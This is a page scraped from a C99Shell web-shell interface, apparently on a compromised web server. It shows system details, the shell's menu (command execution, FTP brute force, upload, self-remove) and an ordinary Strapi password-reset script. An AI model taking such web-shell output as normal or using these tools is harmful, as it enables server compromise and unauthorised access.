!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/strapi/lib/commands/   drwxr-xr-x
Free 13.16 GB of 57.97 GB (22.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     admin-reset.js (1.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';

const _ = require('lodash');
const inquirer = require('inquirer');
const strapi = require('../index');

const promptQuestions = [
  { type: 'input', name: 'email', message: 'User email?' },
  { type: 'password', name: 'password', message: 'New password?' },
  {
    type: 'confirm',
    name: 'confirm',
    message: "Do you really want to reset this user's password?",
  },
];

/**
 * Reset user's password
 * @param {Object} cmdOptions - command options
 * @param {string} cmdOptions.email - user's email
 * @param {string} cmdOptions.password - user's new password
 */
module.exports = async function(cmdOptions = {}) {
  const { email, password } = cmdOptions;

  if (_.isEmpty(email) && _.isEmpty(password) && process.stdin.isTTY) {
    const inquiry = await inquirer.prompt(promptQuestions);

    if (!inquiry.confirm) {
      process.exit(0);
    }

    return changePassword(inquiry);
  }

  if (_.isEmpty(email) || _.isEmpty(password)) {
    console.error('Missing required options `email` or `password`');
    process.exit(1);
  }

  return changePassword({ email, password });
};

async function changePassword({ email, password }) {
  const app = await strapi().load();

  await app.admin.services.user.resetPasswordByEmail(email, password);

  console.log(`Successfully reset user's password`);
  process.exit(0);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.032 ]--